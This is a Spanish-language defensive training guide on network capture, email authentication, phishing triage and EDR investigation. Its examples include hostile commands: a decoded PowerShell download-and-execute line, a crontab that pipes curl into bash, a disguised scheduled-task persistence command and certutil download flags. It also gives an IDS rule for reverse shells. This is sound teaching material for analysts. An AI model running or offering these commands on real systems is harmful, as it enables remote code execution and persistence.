Análisis de actividad maliciosa: red, correo y EDR

Una captura de paquetes guarda las cabeceras y los datos que llegan a un sensor en un archivo .pcap o .pcapng. Puede mostrar el contenido de intercambios sin cifrar, junto con direcciones, puertos y tiempos. Recopílala y almacénala conforme a la política de supervisión de la organización: una captura puede contener contraseñas y datos personales.

Elige un punto de captura útil

Un dispositivo de copia pasiva de tráfico de red (TAP) copia de forma pasiva el tráfico de un enlace. Un puerto de duplicación de tráfico (SPAN) indica a un conmutador que duplique los puertos o VLAN seleccionados. SPAN puede descartar copias cuando su salida está sobrecargada; un TAP que agrega tráfico también puede perder paquetes si ambos sentidos juntos superan la capacidad del puerto de supervisión. Una captura en un equipo ve el tráfico de ese equipo. Un sensor en el límite con internet no ve el tráfico que permanece dentro de la red. Fuera de NAT, ve una dirección pública compartida, por lo que debes conservar los registros de NAT para identificar el equipo interno.

Guarda ampliamente, inspecciona de forma selectiva

Un filtro de captura decide qué se guarda. Un filtro de visualización cambia la vista de los paquetes ya guardados. Sus sintaxis son distintas:

El filtro BPF port 443 también incluye UDP, incluido QUIC. Un filtro de captura restrictivo puede descartar permanentemente otro canal del atacante. Un filtro de visualización puede quitarse cuando la investigación cambie de dirección.

Para una captura dirigida, utiliza:

sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22

-i selecciona la interfaz; -nn mantiene las direcciones y los puertos en formato numérico y evita las búsquedas de nombres; -s 0 conserva los paquetes completos; -w escribe los paquetes sin procesar. El filtro excluye el puerto 22, por ejemplo, una sesión SSH del analista. Lee el tráfico DNS guardado con tcpdump -nn -r case42.pcap port 53.

En Wireshark, dns muestra DNS; http.request muestra solicitudes HTTP. Utiliza tcp.flags.syn == 1 && tcp.flags.ack == 0 para los intentos iniciales de TCP, tls.handshake.type == 1 para los mensajes TLS Client Hello e ip.dst == 10.0.0.0/8 para los destinos de ese rango. frame contains "password" encuentra ese texto en los bytes capturados. Combina condiciones con &&, || y !.

Planifica la conservación y preserva las evidencias

Con un uso del 40 %, un enlace de 100 Mbit/s transporta 40 Mbit/s. Al dividir entre ocho se obtienen 5 MB/s; durante 3600 segundos son 18 000 MB, o 18 GB. Los búferes circulares sobrescriben la captura más antigua, mientras que las capturas dirigidas reducen las necesidades de almacenamiento. Exporta las evidencias relevantes antes de que un búfer las sobrescriba.

TLS deja visibles las direcciones, los tamaños, los tiempos y los metadatos disponibles del intercambio de establecimiento, pero oculta el contenido de aplicación salvo que lo proporcionen las claves de sesión o un punto de inspección. La visibilidad de DNS y del nombre del servidor también depende de los protocolos utilizados. Calcula el hash SHA-256 de la captura original, registra la interfaz y el intervalo de captura y analiza una copia. Comprueba la sincronización del reloj y las estadísticas de paquetes descartados; el contador «descartados por el núcleo» de tcpdump revela el tráfico que el sistema de captura no registró.

Lee un paquete desde la información externa de entrega hacia sus datos de aplicación. En Ethernet, Wireshark muestra las direcciones MAC, después las direcciones IP y el TTL, luego los puertos TCP o UDP y, por último, DNS, HTTP, TLS u otro protocolo de aplicación. El panel de detalles despliega estas capas; el panel de bytes muestra sus valores hexadecimales sin procesar.

Sigue el intercambio

TCP comienza con SYN, SYN-ACK y ACK. En 10.0.0.23:51544 → 203.0.113.80:443 SYN, el puerto de origen alto pertenece al cliente. La respuesta intercambia las direcciones y los puertos. FIN solicita un cierre ordenado; RST termina la conexión de forma abrupta. Un reinicio en respuesta a un SYN suele indicar un puerto cerrado. La ausencia de respuesta puede deberse a filtrado, pérdida o falta de visibilidad, por lo que debes inspeccionar tanto los paquetes como la posición de captura.

UDP no tiene intercambio de establecimiento en la capa de transporte. DNS suele usar UDP 53 y también usa TCP 53, por ejemplo, para respuestas grandes y transferencias de zona. Lee el tipo de registro de la consulta: A solicita IPv4, AAAA IPv6, MX servidores de correo, TXT texto y CNAME un alias. NXDOMAIN significa que el nombre solicitado no existe.

Una respuesta DNS seguida de una conexión a la IP que devolvió sugiere una relación. Confirma el nombre solicitado con una cabecera Host de HTTP, la SNI de TLS visible, registros de proxy o datos del dispositivo final: varios dominios pueden compartir esa dirección.

Reconstruye la actividad de aplicación

Follow TCP Stream de Wireshark ensambla una comunicación en orden y separa los dos sentidos por color. Statistics → Conversations ordena los pares que se comunican por paquetes y bytes; Protocol Hierarchy muestra la combinación de protocolos.

Supón que un flujo contiene:

GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0

La respuesta es 200 OK, declara application/octet-stream y comienza con MZ. Esos bytes sugieren un ejecutable de Windows. La ruta .php puede devolver cualquier contenido; no tiene por qué ser el nombre del archivo descargado. Comprueba el tipo, el hash y la firma del objeto exportado, y después relaciona la solicitud con su proceso y el historial del destino.

Las solicitudes GET recuperan contenido; las solicitudes POST envían un cuerpo. Interpreta conjuntamente Host, la ruta, User-Agent, el estado de respuesta y los tamaños de los cuerpos. Los cuerpos POST grandes y repetidos hacia un destino nuevo merecen investigación. El estado 301 o 302 redirige al cliente, mientras que 404 indica que falta un recurso.

File → Export Objects → HTTP, o su equivalente para SMB, puede recuperar objetos transferidos cuando se dispone del contenido necesario sin cifrar. Conserva las muestras recuperadas en el entorno aislado de análisis y registra sus hashes.

Interpreta correctamente el tráfico cifrado

Un Client Hello normalmente expone la SNI, el nombre del servidor solicitado, salvo que Client Hello cifrado lo proteja. TLS 1.2 expone el certificado del servidor en el intercambio de establecimiento; TLS 1.3 lo cifra. Las huellas JA3 y JA4 resumen características del Client Hello y pueden ayudar a agrupar clientes similares. Un certificado nuevo, la ausencia de SNI o una huella compartida son pistas que deben comprobarse frente al contexto del proceso y del destino.

El puerto 443 sugiere HTTPS, pero no permite determinar el protocolo. Inspecciona el intercambio real o utiliza Decode As cuando un analizador necesite ayuda para reconocer un protocolo en un puerto inusual.

Los registros de flujo de red resumen el tráfico sin conservar sus datos de aplicación. Permiten buscar de forma práctica en semanas de actividad antes de recuperar una captura breve de paquetes. La quíntupla de 5 elementos habitual es IP de origen, IP de destino, puerto de origen, puerto de destino y protocolo de transporte. Los registros también contienen tiempos, recuentos y, a menudo, indicadores TCP.

Conoce cómo cuenta la fuente

NetFlow v5 tiene un formato fijo para IPv4; NetFlow v9 usa plantillas y admite IPv6. IPFIX es el estándar del IETF derivado de ese enfoque basado en plantillas. Los registros de flujos en la nube proporcionan resúmenes de red relacionados. sFlow toma muestras de paquetes y añade contadores de interfaz, por lo que sus observaciones deben ampliarse con cuidado.

Con un muestreo de 1 de cada 1000, 1200 paquetes muestreados representan aproximadamente 1,2 millones de paquetes. La estimación describe el volumen; una conexión breve podría no dejar ningún paquete muestreado. Una muestra vacía es una evidencia débil para determinar si ocurrió una conexión concreta.

Los exportadores suelen registrar cada sentido por separado y dividir las conexiones largas al vencer los tiempos límite de actividad. Empareja los registros inversos intercambiando ambas direcciones y ambos puertos, sin cambiar el protocolo. Después une los fragmentos que pertenecen a la misma conexión. Suma los bytes por separado para cada sentido y mide el tiempo transcurrido desde el inicio más temprano hasta el fin más tardío. Sumar duraciones de registros que se solapan aumenta artificialmente el tiempo.

Interpreta los registros de conexiones de Zeek

Zeek produce registros estructurados de conexiones y protocolos. En conn.log, ts es la hora de inicio y uid vincula la conexión con registros como http.log o ssl.log. Los campos id.orig_h e id.orig_p identifican al originador; id.resp_h e id.resp_p identifican al equipo que responde. El originador inició la comunicación y puede ser un equipo externo. proto, service, duration, orig_bytes y resp_bytes describen su transporte, la aplicación reconocida y la actividad.

En los intentos sin respuesta, Zeek puede indicar cero bytes de datos aunque haya paquetes reales. Los exportadores de flujos suelen contar también las cabeceras IP, por lo que sus recuentos de bytes difieren. Interpreta los recuentos de paquetes y el estado junto con los campos de bytes documentados.

Mide una carga inusual

De 02:10 a 02:50 UTC, 10.0.0.23 envía 2,4 GB a 198.51.100.7:443 y recibe 12 MB. Convierte 2,4 GB a 2400 MB: el volumen saliente es 200 veces el entrante. Cuarenta minutos son 2400 segundos, por lo que la tasa media de salida es de 1 MB/s, u 8 Mbit/s.

La tasa no es el dictamen. Compara el volumen habitual del equipo, el historial del destino y su función. Una copia de seguridad programada puede explicar una carga nocturna; un destino nuevo y un proceso emisor no aprobado refuerzan la hipótesis de robo de datos. Explora el EDR para identificar el proceso responsable, los datos de DNS o proxy para conocer el nombre y los paquetes para ver el contenido, si están disponibles. Una línea base debe comparar funciones similares: un servidor de copias de seguridad y la estación de trabajo de un recepcionista tienen un tráfico normal distinto.

Los patrones de red indican dónde investigar. Un escáner aprobado y un intruso pueden generar paquetes muy similares.

Reconoce la forma del tráfico

Un escaneo vertical sondea muchos puertos de un equipo. Un escaneo horizontal sondea el mismo puerto en muchos equipos. Si 10.0.0.99 envía paquetes SYN a 1000 puertos de 10.0.0.5 en 12 segundos, la tasa es de unos 83 intentos por segundo. Muchos registros S0 o REJ y unas pocas conexiones correctas encajan con un escaneo. Comprueba el inventario de escáneres y el calendario autorizado.

Un dispositivo no autorizado está conectado sin permiso. Compara las nuevas concesiones DHCP y las direcciones MAC con el inventario de activos; un prefijo de fabricante desconocido, un punto de acceso no autorizado o un segundo servidor DHCP requieren investigación. El NAC ayuda a controlar qué dispositivos pueden conectarse.

Evalúa los servicios según la función del equipo. SSH suele usar el puerto 22, SMTP el 25, DNS el 53, HTTP el 80, HTTPS el 443, SMB el 445, RDP el 3389 y WinRM el 5985/5986. El tráfico SMTP saliente directo desde una estación de trabajo puede indicar un bot de spam. Las conexiones SMB o RDP desde una estación de trabajo a muchas otras pueden indicar movimiento lateral. Verifica qué servicio está realmente presente.

Distingue los temporizadores de la actividad del usuario

Las conexiones a las 10:00:00, 10:05:02, 10:09:59, 10:15:01 y 10:20:00 tienen intervalos de 302, 297, 302 y 299 segundos. La media es de 300 segundos y la variación es de unos dos segundos. Intercambios pequeños y similares a esos intervalos sugieren un temporizador. La comunicación periódica de mando y control consiste en contactos repetidos de C2; los agentes de actualización también usan temporizadores. Identifica el proceso que inicia la conexión y la finalidad del destino. El malware puede añadir variación de los intervalos de comunicación, por ejemplo ±20 %, por lo que un patrón menos regular también merece atención.

Investiga el uso indebido de DNS

La tunelización DNS coloca datos en nombres de consulta, a menudo con etiquetas largas codificadas y muchos subdominios únicos. Una etiqueta puede contener como máximo 63 caracteres; un nombre completo en formato textual ordinario tiene un límite de 253 caracteres. Las consultas TXT o NULL repetidas y el volumen elevado refuerzan el patrón. Muchos nombres de aspecto aleatorio que devuelven NXDOMAIN sugieren un DGA que prueba nombres hasta que uno se resuelve. El DNS externo sobre HTTPS también puede hacer que la actividad no aparezca en los registros DNS habituales de la organización.

Lee y verifica una regla

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)

La cabecera especifica que se genere una alerta por tráfico TCP desde la red interna hacia el puerto externo 4444. La condición flow exige tráfico establecido hacia el servidor; sid identifica la regla y rev su revisión. El mensaje indica un posible intérprete de comandos inverso, pero esta regla comprueba un patrón de conexión, no comandos del intérprete.

Snort y Suricata comparan el tráfico con reglas; Zeek proporciona principalmente registros y scripts de comportamiento. Verifica una alerta de IDS con sus paquetes, la plataforma del objetivo y los cambios en el dispositivo final posteriores al intercambio. El modo de detección observa copias; un IPS situado en el trayecto puede bloquear el tráfico, por lo que una coincidencia errónea puede interrumpir las operaciones.

La dirección que ve un lector y la identidad que se comprueba durante la entrega del correo son campos distintos. Comienza con el archivo original .eml o .msg para conservar las cabeceras que una copia reenviada puede sustituir. Un analizador de cabeceras puede ordenar las evidencias, pero aún necesitas saber qué servidor escribió cada resultado.

Encuentra las identidades y los saltos fiables

El remitente del sobre SMTP se utiliza para las devoluciones y aparece en Return-Path. La cabecera From es el remitente visible. Reply-To controla las respuestas y Message-ID ayuda a localizar registros de correo relacionados. Un servicio de correo puede utilizar legítimamente un dominio de sobre distinto del dominio visible de su cliente.

Cada servidor de retransmisión añade una línea Received al principio. Lee la secuencia del recorrido de abajo hacia arriba, pero establece la confianza a partir de las entradas de tu propia pasarela: un remitente puede falsificar las líneas situadas por debajo de la primera entrada fiable. Un campo opcional X-Mailer también está bajo el control del remitente. Utiliza la IP de envío registrada por tu servidor receptor de confianza.

Aplica las tres comprobaciones

Un registro TXT de SPF como v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all autoriza ese rango y los remitentes incluidos. -all asigna un resultado fail a los demás remitentes; ~all asigna softfail. Los resultados también pueden ser neutral, none, temperror o permerror. El reenvío suele hacer fallar SPF porque la IP del servidor que reenvía no está autorizada por el dominio del sobre original.

El campo d= de DKIM indica el dominio firmante y s= selecciona su clave en <selector>._domainkey.<domain>. Una firma que supera la comprobación significa que el material firmado se mantuvo sin cambios. El reenvío puede conservarla, mientras que la modificación del mensaje puede invalidarla.

La alineación relajada de DMARC acepta el mismo dominio organizativo; la alineación estricta exige una coincidencia exacta del dominio. La política TXT en _dmarc.<domain> puede solicitar none, quarantine o reject; el receptor decide cómo tratar el mensaje. RFC 9989 sustituyó al estándar DMARC anterior en mayo de 2026, eliminó pct e introdujo el modo de prueba t=y. Comprueba una política con nslookup -type=txt _dmarc.example.com.

Analiza un resultado de autenticación

Tu pasarela informa de SPF pass para mailer.example-billing.net, DKIM pass para example-billing.net y From examp1e.com. Ninguno de los dominios que superaron la comprobación está alineado con el dominio visible, por lo que DMARC falla. SPF y DKIM autenticaron identidades distintas; no autenticaron esa dirección visible.

Lee solo la cabecera Authentication-Results añadida por una pasarela de confianza. Un dominio parecido, propiedad de un atacante y correctamente configurado, puede superar las tres comprobaciones, al igual que un buzón legítimo comprometido. Combina la autenticación con el historial del remitente, el contenido del mensaje y el análisis de enlaces. A la inversa, investiga si el reenvío o los cambios de una lista de correo explican un fallo antes de atribuirlo a una suplantación.

La suplantación de identidad mediante mensajes fraudulentos intenta convertir un mensaje en una acción perjudicial: entregar credenciales, enviar dinero o ejecutar un archivo. La pista más clara suele ser una desviación del proceso habitual del destinatario. A un atacante le resulta fácil proporcionar un texto fluido y un nombre familiar.

Lee con atención el remitente y el destino

La suplantación del nombre visible coloca un nombre de confianza sobre una dirección no relacionada, como "IT Service Desk" <it.desk.2291@freemail.example>. El registro de dominios con errores tipográficos cambia la escritura de un dominio; los dominios parecidos añaden palabras tranquilizadoras. Los homoglifos sustituyen caracteres por otros de aspecto similar de otros alfabetos. Una primera letra cirílica convierte аpple.com en un dominio distinto; su forma punycode es xn--pple-43d.com.

La etiqueta visible de un enlace puede diferir de su destino real. Los acortadores y las redirecciones abiertas ocultan destinos posteriores. En https://www.example.com@198.51.100.7/login, el equipo de destino es 198.51.100.7; la parte anterior a @ es información de usuario. En https://example.com.login-verify.net/, el dominio registrado es login-verify.net. Leer las palabras tranquilizadoras situadas más a la izquierda lleva a identificar incorrectamente quién controla el destino.

Reconoce la acción solicitada

La urgencia, la supuesta autoridad de un directivo, las amenazas de cierre de cuentas, las tarjetas de regalo y los cambios de datos bancarios presionan al destinatario para que omita las comprobaciones establecidas. La suplantación de identidad dirigida utiliza información investigada sobre un objetivo concreto; el whaling se dirige a directivos. Entre las formas de envío relacionadas están el smishing por texto, el vishing por voz y el quishing mediante códigos QR. Un código QR puede trasladar un enlace a un teléfono fuera del filtrado de enlaces de correo.

Los archivos adjuntos pueden incluir documentos con macros, páginas HTML de inicio de sesión o contrabando HTML, archivos comprimidos protegidos con contraseña, imágenes de disco, accesos directos LNK o PDF que contienen enlaces. Las versiones modernas de Office bloquean por defecto las macros en archivos marcados como procedentes de internet, por lo que los mensajes pueden indicar a los usuarios cómo quitar el bloqueo. Una contraseña del archivo comprimido dificulta su inspección, aunque algunas pasarelas pueden extraerla del mensaje y analizar su contenido.

Investiga el fraude de pago sin malware

El fraude por suplantación del correo empresarial, o BEC, suplanta a un colega, directivo o proveedor para obtener dinero, cambios en datos de pago o información sensible. Puede usar una dirección parecida o un buzón real comprometido. A menudo no contiene enlaces ni archivos adjuntos, lo que deja poco que inspeccionar a los escáneres. Un Reply-To modificado o una regla nueva que oculta respuestas son evidencias de apoyo útiles.

En un hilo de facturación existente, un proveedor conocido solicita que un pago de 48 000 euros se envíe a una nueva cuenta bancaria. La autenticación se supera. El buzón ha sido comprometido y el atacante ha usado el secuestro de hilos de conversación para aprovechar la confianza de la conversación. Verifica la solicitud mediante un número de teléfono que ya figure en el registro del proveedor antes de cambiar los datos de pago. Un número proporcionado en el mensaje forma parte de la solicitud no verificada.

Una dirección interna también puede estar comprometida; incluye a los destinatarios internos y las respuestas en la investigación de la cuenta.

Una investigación de phishing tiene dos tareas: comprender el mensaje y encontrar a todas las personas a las que llegó. Una copia notificada es un punto de partida. La acción realizada por un destinatario determina qué evidencias de cuenta o equipo necesitas a continuación.

Preserva e inspecciona el mensaje

Exporta el original con todas sus cabeceras y después copia las URL como texto para inspeccionarlas en un entorno aislado de análisis. Registra los indicadores en forma neutralizada, como hxxps://login-verify[.]net/acct, para evitar clics accidentales en los tickets. Preserva el original intacto junto con la copia de trabajo.

Las pasarelas de correo pueden incluir una URL dentro de un parámetro de otra URL. La codificación porcentual representa caracteres mediante un signo de porcentaje y dos dígitos hexadecimales: %3A es dos puntos y %2F una barra. Decodifica una capa cada vez e inspecciona el resultado antes de interpretar otra capa.

Por ejemplo, al decodificar la URL:

https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D

se obtiene https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Al decodificar en Base64 el valor u se obtiene jane@example.org. El parámetro identifica al destinatario previsto y puede personalizar la página falsa. Las operaciones URL Decode, From Base64 y Defang URL de CyberChef permiten ver estas transformaciones por separado.

Antes de enviar una URL a un servicio público, elimina los valores que identifiquen a la víctima; un resultado público o una solicitud personalizada pueden revelar la investigación al atacante. Obtén una vista previa de los enlaces acortados mediante un servicio de análisis aprobado. La visibilidad del servicio y cómo maneja los envíos importan tanto como la propia URL.

Inspecciona los archivos y extrae los campos de búsqueda

Calcula el SHA-256 de un archivo adjunto y consulta su reputación antes de subirlo. Comprueba su tipo a partir de los primeros bytes. Para un archivo de Office, olevba puede enumerar macros y señalar desencadenantes automáticos como AutoOpen o Document_Open y llamadas como Shell. Utiliza un entorno aislado privado para contenido interno confidencial.

Recopila la dirección y el nombre visible del remitente, la IP de la entrada Received fiable, el asunto, Message-ID, los equipos de destino y rutas de las URL y los nombres y hashes de los archivos adjuntos. Conserva los valores exactos en las evidencias; utiliza copias neutralizadas en las notas. Un nombre de archivo puede cambiar entre mensajes, mientras que un hash idéntico sigue vinculando contenido de archivo idéntico.

Determina el alcance entre destinatarios e interacciones

Busca en los registros de la pasarela y de los buzones usando varios de esos campos. Enumera los destinatarios y después distingue la entrega de la interacción mediante registros DNS y de proxy, inicios de sesión posteriores a visitas al enlace y eventos de EDR correspondientes a la apertura y ejecución del archivo adjunto.

Una búsqueda puede encontrar 40 mensajes entregados, seis personas que visitaron el enlace y dos cuentas con inicios de sesión correctos desconocidos minutos después. Preserva los registros, retira los mensajes de la campaña y bloquea la URL o el dominio malicioso mediante el proceso de respuesta. Las dos cuentas afectadas necesitan que se restablezcan sus contraseñas y se revoquen sus sesiones activas. Una lista de destinatarios por sí sola no mostraría la diferencia entre exposición y posible compromiso.

Cerrar el ticket porque el usuario que lo notificó eliminó el mensaje deja sin examinar a los demás destinatarios. Registra quién lo recibió, quién interactuó, qué ocurrió después y qué evidencias faltan.

La telemetría de dispositivos finales conecta las evidencias de red y de archivos con el programa que las causó. EDR registra la actividad de los dispositivos finales, detecta comportamientos sospechosos y permite investigar y responder de forma remota. Su historial puede revelar actividad que el estado actual de un archivo ya no muestra.

Elige la fuente adecuada

El antivirus tradicional se centra en bloquear archivos que se sabe que son maliciosos. EDR añade el historial de procesos, archivos, Registro, conexiones e inicios de sesión. XDR reúne evidencias de dispositivos finales con fuentes de red, correo, identidad y nube. MDM gestiona teléfonos y tabletas: sus registros de inventario y cumplimiento pueden revelar aplicaciones no aprobadas, acceso root o jailbreak, y permite acciones como bloquear o borrar dispositivos.

Los eventos de seguridad de Windows proporcionan referencias útiles:

El evento 7045 del sistema también registra la instalación de un servicio. Windows almacena eventos en archivos .evtx que pueden exportarse para realizar búsquedas estructuradas. En Linux, utiliza auditd, los registros de autenticación y el diario del sistema.

Utiliza la identidad de proceso de Sysmon

Sysmon está disponible como función opcional integrada en Windows 11 y Windows Server 2025, y como descarga de Sysinternals para otros sistemas. El evento 1 registra la creación de procesos con la línea de comandos completa, el proceso padre, los hashes y un GUID de proceso. Ese GUID permite distinguir procesos diferentes incluso cuando el sistema operativo reutiliza un PID.

Otros eventos útiles son el 3 para conexiones de red, el 11 para creación de archivos, el 12–14 para cambios en el Registro y el 22 para consultas DNS. El evento 3 está desactivado por defecto porque puede generar un volumen considerable. Comprueba la configuración activa antes de interpretar que la ausencia de un evento significa ausencia de actividad.

Explora a partir de una alerta

Comienza por el equipo, el usuario, la detección y el árbol de procesos. Examina qué inició el proceso, qué inició este y a qué archivos, valores del Registro y destinos accedió. Amplía la cronología antes y después de la alerta; la marca de tiempo de una detección no es necesariamente el inicio de la intrusión.

Explora desde un hash hasta todos los equipos que tienen ese archivo, o desde un destino hasta todos los equipos que lo contactaron. La prevalencia aporta contexto: un programa desconocido en uno de 5000 equipos es inusual, mientras que el software presente en todos puede ser un despliegue estándar. Compara ambos casos con el software y el comportamiento aprobados; la actividad maliciosa generalizada también puede tener una prevalencia alta.

Ordena la respuesta y comprueba la visibilidad

EDR puede aislar un equipo, detener un proceso, poner un archivo en cuarentena o recopilarlo, bloquear un hash y abrir una sesión de respuesta en vivo. El aislamiento normalmente conserva la conexión de gestión mientras restringe los demás accesos de red. Sigue el procedimiento de respuesta y recopila las evidencias necesarias antes de realizar acciones que destruyan la memoria de los procesos o cambien archivos.

Comprueba el estado operativo del sensor cuando la consola parezca tranquila: estado de instalación, informes recientes, configuración y señales de manipulación. Un agente detenido crea una brecha de visibilidad y puede ser parte de la propia intrusión.

El nombre de un proceso es solo un campo de una investigación. Comprueba conjuntamente su ruta de ejecutable, proceso padre, usuario, línea de comandos, firma y hash. Conserva el PID junto con su hora de inicio, o utiliza un GUID de proceso, para evitar unir procesos distintos que reutilizaron el mismo PID.

Compara nombre, ruta y proceso padre

Un svchost.exe normal se ejecuta desde C:\Windows\System32, es iniciado por services.exe y normalmente tiene un argumento de grupo -k. lsass.exe se ejecuta desde el mismo directorio del sistema como una única instancia, iniciada por wininit.exe; services.exe también tiene ese proceso padre. Explorer normalmente se ejecuta por cada usuario que ha iniciado sesión y su proceso padre userinit.exe termina. Por tanto, la ausencia de un proceso padre en ejecución para Explorer requiere una interpretación distinta de la de un proceso del sistema iniciado por Word.

Un nombre casi idéntico como scvhost.exe, un nombre del sistema en C:\Users\Public o un proceso padre inusual de LSASS sugieren camuflaje de procesos o archivos. Que Office inicie un intérprete de comandos es otra pista importante: sigue WINWORD.EXE o EXCEL.EXE hasta cmd.exe, PowerShell, wscript.exe o mshta.exe. En un servidor web, que w3wp.exe inicie un intérprete de comandos sugiere un intérprete de comandos web malicioso.

Interpreta qué se pide hacer a las herramientas firmadas

Los LOLBins son programas legítimos del sistema utilizados indebidamente por un atacante. certutil.exe puede descargar un archivo con -urlcache -split -f; mshta.exe puede ejecutar una aplicación HTML desde una URL; rundll32.exe y regsvr32.exe pueden ejecutar código de DLL o scripts. bitsadmin.exe puede transferir archivos y wmic process call create inicia procesos. Sus firmas válidas describen a los editores de los programas, mientras que el proceso padre y los argumentos revelan su uso en este caso.

Los indicadores de PowerShell como -nop, -w hidden, -ExecutionPolicy Bypass y -enc merecen una inspección atenta. IEX ejecuta texto como código; iwr y DownloadString recuperan contenido. El registro de bloques de scripts, evento 4104, puede revelar el contenido decodificado del script.

Decodifica antes de evaluar

-EncodedCommand de PowerShell utiliza texto UTF-16LE codificado en Base64. Para -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, aplica From Base64 en CyberChef y después Decode text as UTF-16LE. El resultado es:

iwr http://198.51.100.7/a.ps1 | iex

iwr recupera el script y la canalización lo pasa a iex para su ejecución. Esto puede ejecutar código sin guardar el script descargado como archivo. Las letras separadas por bytes cero después de decodificar Base64 indican que falta la interpretación UTF-16LE.

Sigue una cadena de procesos en orden: Outlook abre invoice.docm en Word; Word inicia un intérprete de comandos; PowerShell contacta con el servidor y escribe upd.exe; el nuevo ejecutable inicia su propio tráfico. Vincula cada paso con los eventos registrados. Un agente de despliegue firmado también puede usar PowerShell codificado para una instalación aprobada, por lo que debes inspeccionar el contenido decodificado y la autorización.

En Linux, investiga ejecutables en /tmp o /dev/shm, curl canalizado a bash, un intérprete de comandos redirigido a un socket remoto o /proc/<pid>/exe marcado como «(deleted)». Un proceso de usuario llamado [kworker/0:1] es sospechoso si tiene un ejecutable en disco: los hilos reales del núcleo descienden de kthreadd, PID 2, y no tienen un archivo ejecutable.

La persistencia da a un atacante una forma de recuperar la ejecución o el acceso tras interrupciones como el cierre de sesión o el reinicio. Un equipo puede contener varios mecanismos, cada uno con un desencadenante distinto. Registra la ubicación, el destino, las marcas de tiempo y el hash del archivo antes de eliminar una entrada.

Inspecciona las ubicaciones de inicio automático de Windows

Las claves Run bajo HKCU\Software\Microsoft\Windows\CurrentVersion se aplican al usuario actual; el usuario puede escribir en ellas sin derechos de administrador. La clave Run correspondiente de HKLM se aplica a todos los usuarios y requiere privilegios elevados para modificarla. RunOnce permite una ejecución única; HKLM RunOnce se ejecuta cuando un administrador inicia sesión después de reiniciar. Las entradas Run se activan al iniciar sesión, no cuando se copia un archivo al disco.

Las carpetas de inicio también ejecutan contenido al iniciar sesión. Comprueba la carpeta del usuario AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup y la compartida C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Los eventos 12–14 del Registro y el evento 11 de archivos de Sysmon ayudan a determinar cuándo se produjeron estos cambios.

Las tareas programadas pueden activarse a intervalos, a una hora o ante un evento:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Esto ejecuta el programa indicado cada 30 minutos, o 48 veces al día. El nombre de la tarea, aunque parezca fiable, no identifica al editor del programa. Inspecciona el evento de seguridad 4698 cuando la auditoría esté habilitada, el registro operativo del Programador de tareas y las definiciones en C:\Windows\System32\Tasks.

Los servicios pueden iniciarse durante el arranque, a menudo como SYSTEM. Inspecciona el evento 7045 del sistema o el evento 4697 de seguridad y la ruta de imagen configurada. Un servicio nuevo que se inicia desde una carpeta pública o ejecuta PowerShell merece atención.

Las suscripciones a eventos de WMI unen un filtro de eventos con una acción del consumidor y pueden persistir sin un archivo de inicio; Sysmon 19–21 registra sus componentes y su vinculación. Inspecciona también las cuentas nuevas y la pertenencia al grupo de administradores, los archivos del servidor web, las extensiones del navegador y las DLL inesperadas cargadas mediante el secuestro del orden de búsqueda.

Comprueba Linux y macOS

En Linux, inspecciona el crontab -l de cada usuario, /etc/crontab, /etc/cron.d/, los archivos de unidad de systemd en /etc/systemd/system/, los archivos de inicio del intérprete de comandos y ~/.ssh/authorized_keys. Enumera las unidades con systemctl list-unit-files. macOS usa LaunchAgents y LaunchDaemons con definiciones de listas de propiedades; comprueba sus programas y desencadenantes configurados.

En un crontab de usuario, */10 * * * * curl -s http://198.51.100.7/s.sh | bash descarga y ejecuta un script cada 10 minutos. Los campos son minuto, hora, día del mes, mes y día de la semana. Una nueva clave SSH crea otra vía de acceso incluso después de restablecer una contraseña.

Compara y relaciona los hallazgos

Autoruns reúne muchas ubicaciones de inicio automático de Windows en una sola vista. Ocultar los editores de confianza puede reducir los elementos mostrados en una primera revisión, pero vuelve a examinar las entradas firmadas cuando otras evidencias apunten a ellas. Compara con un equipo en buen estado creado a partir de la misma imagen y con la línea base aprobada.

Por ejemplo, un valor Run llamado OneDriveUpdate apunta a un odu.exe sin firma en el perfil itinerante de un usuario. Las horas de creación del archivo y del registro son las 09:15 UTC, un minuto después de la ejecución de una macro sospechosa. Esa coincidencia temporal y la ruta del programa vinculan la entrada de inicio automático con la intrusión. Continúa revisando las demás ubicaciones después de encontrarla: una tarea programada o un servicio podrían restaurar el mismo contenido malicioso.

Un equipo comprometido deja cambios más allá de su árbol de procesos. Busca archivos y software nuevos, configuraciones de seguridad debilitadas, uso inusual de recursos y archivos reunidos para su transferencia. Compáralos con la función del equipo y el orden de los eventos.

Interpreta los cambios y la procedencia de los archivos

Los programas y scripts en C:\Users\Public, %TEMP%, %APPDATA% o /tmp merecen atención cuando son inesperados. Una doble extensión como invoice.pdf.exe oculta la función real del archivo. Los cambios masivos de nombre, las nuevas extensiones y las notas de rescate en muchas carpetas forman un patrón de ransomware mucho más claro que un solo archivo desconocido.

Las fechas de los archivos pueden manipularse. El evento 2 de Sysmon registra los cambios en la hora de creación de un archivo, llamados manipulación de marcas de tiempo de archivos. Compara el historial de eventos con la fecha visible antes de concluir que un archivo de aspecto antiguo es anterior al incidente.

Windows suele añadir el flujo de datos alternativo Zone.Identifier a las descargas de internet. Esta marca de la Web puede incluir la URL de origen, mientras que el evento 15 de Sysmon puede registrar la creación del flujo. Preserva el flujo junto con el archivo al recopilarlo; los métodos de copia o extracción pueden eliminarlo, por lo que su ausencia por sí sola es una evidencia débil del origen.

Busca defensas debilitadas

Entre los cambios que merece la pena investigar están la protección en tiempo real desactivada, nuevas exclusiones del antivirus, reglas de firewall para tráfico entrante, RDP recién habilitado, nuevos administradores locales y una configuración de auditoría reducida. El evento de seguridad 1102 registra el borrado del registro de auditoría de seguridad. Correlaciona estos cambios con el usuario o proceso responsable y el mantenimiento aprobado.

